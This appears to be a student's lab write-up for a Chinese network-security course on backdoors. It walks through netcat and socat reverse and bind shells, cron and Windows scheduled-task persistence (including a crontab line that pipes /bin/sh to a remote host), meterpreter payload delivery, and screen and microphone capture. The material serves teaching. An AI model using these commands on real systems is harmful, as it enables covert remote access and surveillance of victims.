20145333《网络对抗》Exp2 后门原理与实践

1.基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

  • 通过邮件发送,邮箱里经常受到一些陌生人发来的链接。

  • 误入了一些不安全的网站。

  • 网上下载软件时被一起打包下载了。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

  • Windows下在控制面板的管理工具中可以设置任务计划启动,或者通过修改注册表来达到自启的目的;

  • Linux下可以通过cron来启动。

(3)Meterpreter有哪些给你映像深刻的功能?

  • 可以截取被控端的屏幕、获取被控端的键盘录入,从而了解被控端的很多重要信息。

(4)如何发现自己有系统有没有被安装后门?

  • 现在的防火墙和杀毒软件还是很厉害的,一般都可以查出来

2.实验总结与体会

  • 实验过程中通过后门非常轻易的就从被控端上获取了很多信息,感觉原来我们的电脑真的非常脆弱,没我们想的那么牢靠,以后一定要提高安全意识,经常杀毒,打补丁,否则真的会泄露我们很多重要的信息。

3.实践过程记录

使用netcat使Windows获得Linux Shell

  • 在Windows下,先使用ipconfig指令查看本机IP:

  • 使用ncat.exe程序监听本机的5333端口

    ncat.exe -l -p 5333

  • 在Kali环境下,使用nc指令的-e选项反向连接Windows主机的5333端口:

  • Windows下成功获得了一个Kali的shell,运行ls指令如下:

使用netcat使Linux获得Windows Shell

  • 在Kali环境下用ifconfig查看IP:

  • 使用nc指令监听5333端口:
    nc -l -p 5333

  • 在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的5333端口:

  • Kali下可以看到Windows的命令提示,可以输入Windows命令:

使用netcat获取主机操作Shell,cron启动

  • 在linux中使用crontab指令增加一条定时任务

  • 使用crontab -l查看刚刚添加的定时任务
  • 在最后一行添加20 * * * * /bin/netcat 192.168.1.103 5333 -e /bin/sh,意思是在每个小时的第20分钟反向连接Windows主机的5333端口

使用socat使Windows获得Linux Shell

  • 在linux中,使用socat绑定bash与端口号,监听,等待连接

  • win中使用socat对linux进行tcp固定端口连接,成功获取linux shell

设置任务计划启动,使用sotcat获得win shell

  • 在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:

  • 在操作中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5333 exec:cmd.exe,pty,stderr

  • 创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行

  • 在Kali环境下输入指令socat - tcp:192.168.1.103:5333,发现已经成功获得了一个cmd shell:

使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
因为换了网,所以IP有所变化,下面是新的IP:

  • 生成后门程序:

  • 通过nc指令将生成的后门程序传送到Windows主机上:

  • 查看win下是否成功接受可执行文件

  • 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:

  • 双击运行windows上的可执行文件,linux成功获取windows shell

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic指令可以截获一段音频:

  • 使用screenshot指令可以进行截屏:

  • 在获取目标主机的摄像头使用权时出现了问题。。。

  • 尝试提权显示环境不正确

20145333《网络对抗》Exp2 后门原理与实践的更多相关文章

  1. 20155323刘威良 网络对抗 Exp2 后门原理与实践

    20155323 刘威良<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主机操作Shell, ...

  2. 20155331 丹增旦达 网络攻防 Exp2后门原理与实践

    20155331 丹增旦达<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  3. 20155302 Exp2 后门原理与实践

    20155302<网络对抗>后门原理与实践 实验要求 1.使用netcat获取主机操作Shell,cron启动 (0.5分) 2.使用socat获取主机操作Shell, 任务计划启动 (0 ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  5. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  6. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...

  9. 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...

随机推荐

  1. 关于js的面向对象设计

    function Person( name, age ){ this.name = name; this.age = age; this.sleep = function(){ alert( this ...

  2. Android 简单案例:可移动的View

    CrossCompatibility.rar 1. VersionedGestureDetector.java import android.content.Context; import andro ...

  3. Cookie的介绍及使用

    咱们不搞一开始就一大堆理论知识介绍,怕把人讲懵了...... 咱们换一个思维方式——"从现象看本质",先说说我们看到了什么,再从看到的现象中提出问题,最后深入寻找答案. 我们看到的 ...

  4. docker :no such file or directory

    ---恢复内容开始--- 其中最主要的问题是:details: (open /etc/docker/certs.d/registry.access.redhat.com/redhat-ca.crt: ...

  5. SpringCloud--Ribbon负载均衡

    Ribbon实现客户端负载均衡 负载均衡:是对系统的高可用.网络压力的缓解和处理能力扩容的重要手段之一. 硬件负载均衡:主要通过在服务器节点之间安装专门用于负载均衡的设备: 软件负载均衡:通过在服务器 ...

  6. win10配置的静态/动态IP和 DNS的方法

    1.配置静态IP和DNS netsh interface ip set address name="以太网" source=static addr=192.168.9.145 ma ...

  7. Only a type can be imported. classname resolves to a package的解决

    Only a type can be imported. l1.l2.MyClass resolves to a package ==========这里是解决方案=============== 把生 ...

  8. Python绘图教程

    1.二维绘图 a. 一维数据集 用 Numpy ndarray 作为数据传入 ply 1. import numpy as np import matplotlib as mpl import mat ...

  9. python面向对象(类和对象及三大特性)

    类和对象是什么 创建类 新式类 和 经典类 面向对象三大特性 继承 封装 多态   面向对象是一种编程方式,此编程方式的实现是基于对 类 和 对象 的使用 类 是一个模板,模板中包装了多个“函数”供使 ...

  10. 一只青蛙从第一级台阶跳到第n级,每次可以跳任意级,共有多少种跳法,并写出递推式

    是斐波那契数列问题 假设f(n)是n个台阶跳的次数:(假设已经调到第n个台阶,最后一次是由哪个台阶跳上来的) f(n) = f(n-1)+f(n-2)+...+f(n-(n-1)) + f(n-n) ...